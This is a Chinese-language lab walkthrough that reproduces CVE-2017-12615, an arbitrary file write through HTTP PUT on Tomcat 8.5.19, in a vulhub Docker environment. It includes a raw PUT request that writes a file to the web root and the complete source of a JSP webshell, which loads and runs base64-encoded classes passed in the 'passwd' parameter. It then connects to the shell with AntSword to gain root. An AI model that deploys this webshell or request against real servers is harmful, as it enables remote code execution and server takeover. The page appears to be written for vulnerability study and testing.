Tomcat8 任意写文件PUT方法 (CVE-2017-12615)

Tomcat 任意写文件PUT方法 (CVE-2017-12615)

文章目录

    • [Tomcat 任意写文件PUT方法 (CVE-2017-12615)](#Tomcat 任意写文件PUT方法 (CVE-2017-12615))
      • [1 在线漏洞解读:](#1 在线漏洞解读:)
      • [2 版本影响](#2 版本影响)
      • [3 环境搭建](#3 环境搭建)
      • [4 漏洞复现](#4 漏洞复现)
        • [4.1 访问](#4.1 访问)
        • [4.2 POC攻击点](#4.2 POC攻击点)
          • [4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。](#4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。)
          • [4.2.2 访问是否通,可以访问到文件](#4.2.2 访问是否通,可以访问到文件)
      • [5 漏洞利用](#5 漏洞利用)
        • [5.1 上传jsp一句话](#5.1 上传jsp一句话)
        • [5.2 kali打开蚁剑:](#5.2 kali打开蚁剑:)
        • [5.3 连接jsp一句话木马,密码为 passwd](#5.3 连接jsp一句话木马,密码为 passwd)
        • [5.4 打开终端,获取root](#5.4 打开终端,获取root)

1 在线漏洞解读:

复制代码
https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

2 版本影响

​ Tomcat version: 8.5.19

3 环境搭建

shell 复制代码
cd /home/kali/vulhub/tomcat/CVE-2017-12615

环境启动:

shell 复制代码
sudo docker-compose up -d

sudo docker ps -a

已启动:访问端口8091

4 漏洞复现

4.1 访问

​ 4.1 访问http://192.168.225.166:8091/看到Tomcat示例页面,发现8.5.19版本后台管理是不允许登录的


4.2 POC攻击点
4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
复制代码
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell
4.2.2 访问是否通,可以访问到文件

5 漏洞利用

5.1 上传jsp一句话
jsp 复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
5.2 kali打开蚁剑:
复制代码
┌──(kali💋kali)-[~]
└─$ sudo antsword 
5.3 连接jsp一句话木马,密码为 passwd
5.4 打开终端,获取root
相关推荐
黄金龙PLUS6 小时前
5个1024比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
云水一下6 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
XUEYUAN52126 天前
ASN 自治系统号风控:平台如何通过 IP 所属自治域批量识别代理流量
python·网络协议·http·网络安全·socks5
其实防守也摸鱼6 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
TechEdu2026066 天前
[人工智能]人工智能时代的零日漏洞与零日攻击
人工智能·网络安全·ai·信息安全
需要8266 天前
JVM 内存区域与对象创建:一次 GC 从哪来
java·jvm·spring boot·spring·servlet·tomcat
程序员若风6 天前
CSRF攻击原理介绍和利用-腾讯云开发者社区
前端·网络·安全·web安全·网络安全·csrf攻击·腾讯云开发者社区
2601_953824616 天前
基于SSM的水果超市管理系统
java·tomcat·maven
菩提小狗6 天前
每日安全情报报告 · 2026-09-21
网络安全·漏洞·cve·安全情报·每日安全
数安旭说7 天前
从“堆叠工具”到“一体化治理”:端点安全的技术演进与实践观察
网络安全·系统架构·数据安全·企业安全·端点安全·防泄密·一体化管理